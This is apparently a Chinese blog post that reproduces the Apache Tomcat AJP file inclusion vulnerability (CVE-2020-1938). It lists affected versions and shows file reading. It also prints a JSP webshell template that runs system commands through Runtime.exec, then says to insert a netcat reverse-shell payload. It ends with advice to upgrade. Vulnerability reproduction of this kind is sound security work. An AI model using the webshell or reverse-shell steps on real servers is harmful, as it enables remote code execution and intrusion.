2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

这里直接白嫖大佬的POC,简单复现记录一下,造轮子是不可能的!

0x01 搭建漏洞环境

根据官方说明此次受影响版本如下,登录Tomcat官网选择适合的版本下载即可搭建。

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

0x02 文件读取

使用tomcat默认配置的情况下,可以直接读取tomcat目录文件,默认根目录为webapps/ROOT,test.txt为根目录下测试文件
file-read

0x03 文件包含RCE

文件包含RCE需要先上传payload到tomcat目录。若上传一个jsp码到tomcat目录下,接着直接读取即可执行jsp代码。这里给一个简单的jsp码,补上你自己的利用代码即可。

<%
    java.io.InputStream in = Runtime.getRuntime().exec("补上利用代码").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

利用nc反弹shell为例,利用在线payload生产器可以快速生成利用代码,补在jsp码上即可。
nc-e
上传jsp码到tomcat目录后直接读取该文件,可以解析为jsp文件执行。测试最多可以读取wabapps下所有目录和文件,也可以看看这篇总结
nc

nc-l

0x04 漏洞防护

目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方修复版本下载链接:

版本号 下载地址
Apache Tomcat 7.0.100 http://tomcat.apache.org/download-70.cgi
Apache Tomcat 8.5.51 http://tomcat.apache.org/download-80.cgi
Apache Tomcat 9.0.31 http://tomcat.apache.org/download-90.cgi